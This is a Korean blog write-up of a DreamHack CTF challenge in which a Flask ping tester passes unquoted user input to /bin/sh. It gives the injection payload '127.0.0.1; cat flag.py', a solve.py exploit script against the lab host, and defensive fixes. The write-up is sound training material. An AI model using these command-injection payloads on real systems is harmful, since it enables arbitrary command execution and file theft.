[πŸ₯‰ Bronze 4] λ”°μ˜΄ν‘œμ‘°μ°¨ ν•„μš” μ—†λ˜ μ»€λ§¨λ“œ μΈμ μ…˜ β€” DreamHack command-injection-chatgpt 풀이

2026-07-03Β·1λΆ„ 읽기·

[πŸ₯‰ Bronze 4] λ”°μ˜΄ν‘œμ‘°μ°¨ ν•„μš” μ—†λ˜ μ»€λ§¨λ“œ μΈμ μ…˜ β€” DreamHack command-injection-chatgpt 풀이

ping ν…ŒμŠ€ν„°μ˜ host μž…λ ₯값이 μ•„λ¬΄λŸ° 감싸기(λ”°μ˜΄ν‘œ)도 없이 f'ping -c 3 {host}' λ¬Έμžμ—΄λ‘œ 쑰립돼 /bin/sh -c 둜 κ·ΈλŒ€λ‘œ μ‹€ν–‰λœλ‹€. μ„Έλ―Έμ½œλ‘  ν•˜λ‚˜λ§Œ λΆ™μ—¬ cat flag.py λ₯Ό 이어 뢙이면 ping κ²°κ³Ό μžλ¦¬μ— ν”Œλž˜κ·Έκ°€ κ·ΈλŒ€λ‘œ 좜λ ₯λœλ‹€.

문제: DreamHack β€” command-injection-chatgpt λΆ„λ₯˜: Web (OS Command Injection) λ‚œμ΄λ„: πŸ₯‰ Bronze 4 FLAG: DH{chatGPT_knows_what_the_ping_is}

이름뢀터가 νžŒνŠΈλ‹€. "chatgpt"κ°€ μ§œμ€€ 것 같은 ping ν…ŒμŠ€ν„°μΈλ°, μ‹€μ œλ‘œ 열어보면 μ•žμ„œ ν‘Ό command-injection-1보닀도 ν•„ν„°κ°€ ν•˜λ‚˜ 적닀. κ·Έμͺ½μ€ κ·Έλ‚˜λ§ˆ ν°λ”°μ˜΄ν‘œλ‘œ μž…λ ₯값을 감싸기라도 ν–ˆλŠ”λ°, 이 λ¬Έμ œλŠ” κ·Έλ§ˆμ €λ„ μ—†λ‹€. μž…λ ₯을 κ·ΈλŒ€λ‘œ μ…Έ λͺ…λ Ή ν•œλ³΅νŒμ— ν˜λ €λ³΄λ‚Έλ‹€.

메인 νŽ˜μ΄μ§€ β€” Dreamhack Ping Tester
메인 νŽ˜μ΄μ§€ β€” Dreamhack Ping Tester


문제 κ°œμš”

ν•­λͺ©λ‚΄μš©
문제λͺ…command-injection-chatgpt
λ‚œμ΄λ„πŸ₯‰ Bronze 4
λΆ„λ₯˜Web (OS Command Injection)
제곡Flask μ†ŒμŠ€(app.py, ν…œν”Œλ¦Ώ) + 라이브 μ„œλ²„
핡심 μ·¨μ•½μ μ‚¬μš©μž μž…λ ₯을 아무 μ΄μŠ€μΌ€μ΄ν”„ 없이 μ…Έ λͺ…λ Ή λ¬Έμžμ—΄μ— 직접 μ‚½μž…

압좕을 ν’€λ©΄ Flask μ•± ν•˜λ‚˜. /λŠ” μ•ˆλ‚΄ 문ꡬ뿐이고 /ping이 μœ μΌν•œ κΈ°λŠ₯이닀.



뢄석

μ„œλ²„ μ½”λ“œ

app.pyλ₯Ό μ—΄λ©΄ /ping λΌμš°νŠΈκ°€ μ „λΆ€λ‹€.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 {host}'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
 
    return render_template('ping.html')

cmd = f'ping -c 3 {host}' β€” host에 λ”°μ˜΄ν‘œκ°€ ν•˜λ‚˜λ„ μ•ˆ λΆ™λŠ”λ‹€. command-injection-1μ΄μ—ˆλ‹€λ©΄ f'ping -c 3 "{host}"'처럼 ν°λ”°μ˜΄ν‘œλ‘œ κ°μ‹Έμ„œ μ΅œμ†Œν•œ λ‹«λŠ” 흉내라도 λƒˆμ„ 텐데, μ—¬κΈ°λŠ” λ³€μˆ˜λ₯Ό κ·Έλƒ₯ λ¬Έμžμ—΄ κ°€μš΄λ° 꽂아 λ„£λŠ”λ‹€. κ·Έ λ¬Έμžμ—΄μ„ ['/bin/sh', '-c', cmd]둜 셸에 λ˜μ§€λ‹ˆ, host에 ;λ‚˜ && 같은 μ…Έ λ©”νƒ€λ¬Έμžλ₯Ό λ„£μœΌλ©΄ κ·ΈλŒ€λ‘œ μƒˆ λͺ…λ ΉμœΌλ‘œ ν•΄μ„λœλ‹€.

ν”Œλž˜κ·Έ μœ„μΉ˜λ„ λͺ…ν™•ν•˜λ‹€. app.py 맨 μœ„μ—μ„œ from flag import FLAGλ₯Ό ν•˜κ³  μžˆμœΌλ‹ˆ, μ‹€ν–‰ 디렉토리에 μžˆλŠ” flag.pyλ₯Ό 읽으면 끝이닀. FLAG λ³€μˆ˜ μžμ²΄λŠ” μ½”λ“œ μ–΄λ””μ—μ„œλ„ 응닡에 직접 쓰이지 μ•ŠλŠ”λ‹€ β€” 즉 이 λ¬Έμ œλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜ 둜직으둜 ν”Œλž˜κ·Έλ₯Ό λ…ΈμΆœν•˜λŠ” 게 μ•„λ‹ˆλΌ, μˆœμ „νžˆ μ…Έμ—μ„œ νŒŒμΌμ„ μ½μ–΄λ‚΄λŠ” λ¬Έμ œλ‹€.

ping 폼 확인

/ping에 λ“€μ–΄κ°€λ©΄ μž…λ ₯μΉΈ ν•˜λ‚˜μ— λ²„νŠΌ ν•˜λ‚˜λΏμΈ μ‹¬ν”Œν•œ 폼이닀.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required>

command-injection-1에 있던 pattern="[A-Za-z0-9.]{5,20}" 같은 ν΄λΌμ΄μ–ΈνŠΈ 검증 속성도 μ—†λ‹€. required 뿐이닀.

/ping μž…λ ₯ 폼
/ping μž…λ ₯ 폼

8.8.8.8을 λ„£κ³  μ •μƒμ μœΌλ‘œ λŒλ €λ³Έλ‹€.

8.8.8.8 μž…λ ₯
8.8.8.8 μž…λ ₯

μ„œλ²„κ°€ μ‹€μ œλ‘œ ping -c 3 8.8.8.8을 돌렀 κ·Έ κ²°κ³Όλ₯Ό <pre>에 κ·ΈλŒ€λ‘œ μ–Ήμ–΄μ€€λ‹€.

정상 ping κ²°κ³Ό
정상 ping κ²°κ³Ό

μž…λ ₯값이 μ§„μ§œ μ…Έ λͺ…λ Ήμ˜ μΌλΆ€λ‘œ λ“€μ–΄κ°„λ‹€λŠ” 게 이 ν™”λ©΄μœΌλ‘œ ν™•μΈλœλ‹€.


νŽ˜μ΄λ‘œλ“œ 섀계

λͺ…λ Ή λ¬Έμžμ—΄μ΄ λ§Œλ“€μ–΄μ§€λŠ” λͺ¨μ–‘은 이렇닀.

cmd = f'ping -c 3 {host}'
        β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”˜
         κ³ μ • λΆ€λΆ„   host (κ°μ‹ΈλŠ” 문자 μ—†μŒ)

command-injection-1μ΄μ—ˆλ‹€λ©΄ μ•žλ’€ ν°λ”°μ˜΄ν‘œλ₯Ό λ‹«λŠ” μ ˆμ°¨κ°€ ν•„μš”ν–ˆμ§€λ§Œ, μ—¬κΈ°λŠ” μ• μ΄ˆμ— κ°μ‹ΈλŠ” 게 μ—†μœΌλ‹ˆ κ·Έ κ³Όμ • μžμ²΄κ°€ μƒλž΅λœλ‹€. ;둜 λͺ…λ Ήλ§Œ 이어 뢙이면 λœλ‹€.

host = 127.0.0.1; cat flag.py

셸이 λ°›λŠ” λ¬Έμžμ—΄μ€:

ping -c 3 127.0.0.1; cat flag.py

; λ’€λŠ” μ•ž λͺ…λ Ή 결과와 λ¬΄κ΄€ν•˜κ²Œ μ‹€ν–‰λ˜λŠ” μ™„μ „νžˆ μƒˆλ‘œμš΄ λͺ…령이닀. ping이 정상 μ’…λ£Œν•˜λ“  말든 cat flag.pyκ°€ λ§ˆμ§€λ§‰μ— 성곡(μ’…λ£Œμ½”λ“œ 0)ν•˜λ©΄ subprocess.check_output은 μ˜ˆμ™Έ 없이 ν‘œμ€€μΆœλ ₯ 전체 β€” ping κ²°κ³Ό + cat이 뱉은 flag.py 원문 β€” 을 κ·ΈλŒ€λ‘œ λŒλ €μ€€λ‹€.

command-injection-1κ³Ό λΉ„κ΅ν•˜λ©΄ μš°νšŒν•  ν•„ν„°κ°€ ν•˜λ‚˜λ„ μ—†λ‹€λŠ” μ μ—μ„œ 였히렀 더 κΈ°λ³Έν˜•μ΄λ‹€. λ”°μ˜΄ν‘œ 짝을 맞좜 ν•„μš”λ„, 주석 처리둜 λ’€λ₯Ό μž˜λΌλ‚Ό ν•„μš”λ„ μ—†λ‹€.



μ΅μŠ€ν”Œλ‘œμž‡

λΈŒλΌμš°μ €μ—μ„œ κ·ΈλŒ€λ‘œ μž¬ν˜„ν•΄λ³Έλ‹€. μž…λ ₯칸에 νŽ˜μ΄λ‘œλ“œλ₯Ό λ„£κ³ ,

νŽ˜μ΄λ‘œλ“œ μž…λ ₯
νŽ˜μ΄λ‘œλ“œ μž…λ ₯

Ping!을 λˆ„λ₯΄λ©΄ ping κ²°κ³Ό μ•„λž˜μ— flag.py의 λ‚΄μš©μ΄ κ·ΈλŒ€λ‘œ λΆ™μ–΄ λ‚˜μ˜¨λ‹€.

ν”Œλž˜κ·Έ νšλ“
ν”Œλž˜κ·Έ νšλ“

FLAG = 'DH{chatGPT_knows_what_the_ping_is}' β€” cat이 파이썬 μ†ŒμŠ€ νŒŒμΌμ„ κ·ΈλŒ€λ‘œ 좜λ ₯ν•œ 것이라 λ³€μˆ˜ μ„ μ–Έ λ¬Έλ²•κΉŒμ§€ ν†΅μ§Έλ‘œ λ”Έλ € λ‚˜μ˜¨λ‹€.

같은 흐름을 슀크립트둜 μ •λ¦¬ν–ˆλ‹€.

# solve.py
import re, sys, html, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10383"
 
 
def ping(host: str) -> str:
    data = urllib.parse.urlencode({"host": host}).encode()
    req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
    body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
    m = re.search(r"<pre>(.*?)</pre>", body, re.S)
    return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
 
 
# 1) 정상 λ™μž‘ 확인
print("[*] 정상 ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
 
# 2) μΈμ μ…˜ β€” λ”°μ˜΄ν‘œ 없이 κ·ΈλŒ€λ‘œ 셸에 κ½‚νžˆλ―€λ‘œ μ„Έλ―Έμ½œλ‘ λ§Œ 뢙이면 λœλ‹€
payload = "127.0.0.1; cat flag.py"
print(f"[*] νŽ˜μ΄λ‘œλ“œ: host={payload!r}")
out = ping(payload)
print("[*] 응닡 <pre>:")
print(out)
 
# 3) ν”Œλž˜κ·Έ μΆ”μΆœ
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
    print()
    print("[+] FLAG:", flag.group(0))

정상 ping κ²°κ³Όκ°€ λ¨Όμ € 찍히고, μ΄μ–΄μ„œ μΈμ μ…˜ νŽ˜μ΄λ‘œλ“œλ₯Ό 보낸 응닡에 ν”Œλž˜κ·Έκ°€ λ”Έλ €μ˜¨λ‹€.

solve.py μ‹€ν–‰ β€” ν”Œλž˜κ·Έ νšλ“
solve.py μ‹€ν–‰ β€” ν”Œλž˜κ·Έ νšλ“

DH{chatGPT_knows_what_the_ping_is}

λ°©μ–΄ β€” μ–΄λ–»κ²Œ λ§‰λ‚˜

원인은 ν•˜λ‚˜λ‹€. μ‚¬μš©μž μž…λ ₯을 μ…Έ λͺ…λ Ή λ¬Έμžμ—΄ 쑰립에 κ·ΈλŒ€λ‘œ 썼닀. λ”°μ˜΄ν‘œλ‘œ κ°μ‹ΈλŠ” μ •λ„λ‘œλŠ” 막을 수 μ—†λ‹€λŠ” 게 이 λ¬Έμ œμ™€ command-injection-1을 λ‚˜λž€νžˆ 놓고 보면 더 λΆ„λͺ…ν•΄μ§„λ‹€ β€” 감싸든 μ•ˆ 감싸든 μ…Έ λ©”νƒ€λ¬Έμžλ₯Ό ν†΅μ œν•˜μ§€ λͺ»ν•˜λ©΄ κ²°κ΅­ λš«λ¦°λ‹€.

1. 셸을 μ•„μ˜ˆ κ±°μΉ˜μ§€ μ•ŠλŠ”λ‹€. ping처럼 μ‹€ν–‰ν•  ν”„λ‘œκ·Έλž¨μ΄ 고정돼 μžˆλ‹€λ©΄ 인자λ₯Ό 리슀트둜 직접 λ„˜κΈ΄λ‹€.

# λ‚˜μ¨: f-string으둜 μ‘°λ¦½ν•œ λ¬Έμžμ—΄μ„ 셸이 λ‹€μ‹œ νŒŒμ‹±
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 {host}'])
 
# μ’‹μŒ: hostλŠ” ping의 인자 ν•˜λ‚˜μΌ 뿐, 셸이 끼어듀 μžλ¦¬κ°€ μ—†λ‹€
subprocess.check_output(['ping', '-c', '3', host])

μ΄λ ‡κ²Œ ν•˜λ©΄ hostκ°€ 127.0.0.1; cat flag.py여도 ping은 κ·Έκ±Έ "μ΄μƒν•œ 호슀트λͺ…"으둜 λ°›μ•„ 이름 쑰회 μ‹€νŒ¨λ‘œ 끝날 뿐, ; λ’€κ°€ 별도 λͺ…λ ΉμœΌλ‘œ μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€.

2. μ„œλ²„ μΈ‘ μž…λ ₯ 검증을 λ‘”λ‹€. IP/호슀트λͺ…λ§Œ 받을 λͺ©μ μ΄λ©΄ ipaddress λͺ¨λ“ˆμ΄λ‚˜ μ •κ·œμ‹μœΌλ‘œ μ„œλ²„μ—μ„œ ν•œ 번 더 κ±ΈλŸ¬μ•Ό ν•œλ‹€. ν΄λΌμ΄μ–ΈνŠΈμ—λ§Œ μ˜μ‘΄ν•œ 검증(HTML pattern λ“±)은 μ• μ΄ˆμ— λ³΄μ•ˆ 경계가 μ•„λ‹ˆλ‹€.

3. 정말 셸이 ν•„μš”ν•˜λ©΄ shlex.quote()둜 인자λ₯Ό μ΄μŠ€μΌ€μ΄ν”„ν•œλ‹€. λ‹€λ§Œ 1번처럼 리슀트 인자둜 λ„˜κΈΈ 수 있으면 κ·Έμͺ½μ΄ 항상 더 μ•ˆμ „ν•˜λ‹€.

이름은 μž₯λ‚œμŠ€λŸ½μ§€λ§Œ, "μ‚¬μš©μž μž…λ ₯ + f-string + μ…Έ μ‹€ν–‰"μ΄λΌλŠ” 쑰합이 κ°μ‹ΈλŠ” 문자 ν•˜λ‚˜ 없이도 κ³§λ°”λ‘œ μž„μ˜ λͺ…λ Ή μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§„λ‹€λŠ” κ±Έ κ°€μž₯ μ••μΆ•λœ ν˜•νƒœλ‘œ λ³΄μ—¬μ£ΌλŠ” λ¬Έμ œμ˜€λ‹€.

이 글이 도움이 λλ‚˜μš”?

Comments

λŒ“κΈ€

0개

λŒ“κΈ€μ„ 남기렀면 둜그인이 ν•„μš”ν•΄μš”. (넀이버 Β· ꡬ글 계정)

λŒ“κΈ€ λΆˆλŸ¬μ˜€λŠ” 쀑…

Related

κ΄€λ ¨ κΈ€

3개
[🌱 μƒˆμ‹Ή] λ”°μ˜΄ν‘œ ν•˜λ‚˜λ‘œ 셸을 κ°€λ₯Έλ‹€ β€” DreamHack command-injection-1 풀이
blog

[🌱 μƒˆμ‹Ή] λ”°μ˜΄ν‘œ ν•˜λ‚˜λ‘œ 셸을 κ°€λ₯Έλ‹€ β€” DreamHack command-injection-1 풀이

ping ν…ŒμŠ€ν„°κ°€ μž…λ ₯ν•œ hostλ₯Ό ping -c 3 "{host}" λ¬Έμžμ—΄λ‘œ λ§Œλ“€μ–΄ /bin/sh -c 둜 μ‹€ν–‰ν•œλ‹€. ν•„ν„°κ°€ ν•œ 쀄도 μ—†μ–΄μ„œ, ν°λ”°μ˜΄ν‘œλ₯Ό λ‹«κ³  cat /app/flag.py λ₯Ό λΌμ›Œ 넣은 λ’€ 끝의 #둜 λ‹«λŠ” λ”°μ˜΄ν‘œλ₯Ό 주석 μ²˜λ¦¬ν•˜λ©΄ ν”Œλž˜κ·Έκ°€ ping κ²°κ³Ό μžλ¦¬μ— κ·ΈλŒ€λ‘œ 좜λ ₯λœλ‹€.
#dreamhack#ctf#web+4
2026-06-21#dreamhack +6
[πŸ₯‰ Bronze 1] "IP인지 κ²€μ¦ν–ˆλ‹€"와 "μ•ˆμ „ν•˜λ‹€"λŠ” λ‹€λ₯Έ 말이닀 β€” DreamHack EZ_command_injection 풀이
blog

[πŸ₯‰ Bronze 1] "IP인지 κ²€μ¦ν–ˆλ‹€"와 "μ•ˆμ „ν•˜λ‹€"λŠ” λ‹€λ₯Έ 말이닀 β€” DreamHack EZ_command_injection 풀이

ping을 λŒ€μ‹  μ‹€ν–‰ν•΄μ£ΌλŠ” μ›Ή μ„œλΉ„μŠ€. μ„œλ²„λŠ” μ‚¬μš©μžκ°€ 넣은 값을 파이썬 ipaddress.ip_address()둜 "μ§„μ§œ IP μ£Όμ†ŒμΈμ§€" κ²€μ¦ν•œ λ‹€μŒμ—μ•Ό μ‰˜ λͺ…령에 λΌμ›Œ λ„£λŠ”λ‹€ β€” 얼핏 μ•ˆμ „ν•΄ λ³΄μ΄λŠ” λ°©μ–΄λ‹€. 그런데 IPv6 μ£Όμ†Œ 뒀에 λΆ™λŠ” %μΈν„°νŽ˜μ΄μŠ€μ΄λ¦„(scope id) 뢀뢄은 κ·Έ λ‚΄μš©μ„ μ „ν˜€ κ²€μ¦ν•˜μ§€ μ•Šκ³  κ·ΈλŒ€λ‘œ λ³΄μ‘΄ν•œλ‹€λŠ” 사싀을 μ•Œκ²Œ λ˜λ©΄μ„œ, "μœ νš¨ν•œ IP μ£Όμ†Œ"μ΄λ©΄μ„œ λ™μ‹œμ— μ™„μ „ν•œ μ‰˜ μΈμ μ…˜ νŽ˜μ΄λ‘œλ“œμΈ λ¬Έμžμ—΄μ„ λ§Œλ“€ 수 μžˆμ—ˆλ‹€. μœ μΌν•œ κ±Έλ¦ΌλŒμ€ μ ˆλŒ€κ²½λ‘œμ— λ“€μ–΄κ°€λŠ” μŠ¬λž˜μ‹œ ν•˜λ‚˜ β€” CIDR ν‘œκΈ°λ²•κ³Ό ν—·κ°ˆλ € νŒŒμ‹±μ΄ 거뢀됐닀.
#dreamhack#ctf#web+4
2026-07-21#dreamhack +4
[πŸ₯‰ Bronze 3] X-Forwarded-For ν—€λ”λ‘œ μ»€λ§¨λ“œ μΈμ μ…˜ β€” DreamHack what-is-my-ip 풀이
blog

[πŸ₯‰ Bronze 3] X-Forwarded-For ν—€λ”λ‘œ μ»€λ§¨λ“œ μΈμ μ…˜ β€” DreamHack what-is-my-ip 풀이

"λ‹Ήμ‹ μ˜ IPλ₯Ό μ•Œλ €μ£ΌλŠ”" λ‹¨μˆœν•œ Flask μ•±. 그런데 IPλ₯Ό ꡬ할 λ•Œ X-Forwarded-For 헀더값을 bash -c "echo {ip}" 에 κ·ΈλŒ€λ‘œ λ„£λŠ”λ‹€. 헀더에 ;cat /flag λ₯Ό μ‹€μœΌλ©΄ λͺ…령이 κ·ΈλŒ€λ‘œ μ‹€ν–‰λ˜μ–΄ ν”Œλž˜κ·Έκ°€ λ‚˜μ˜¨λ‹€.
#dreamhack#ctf#web+5
2026-07-07#dreamhack +4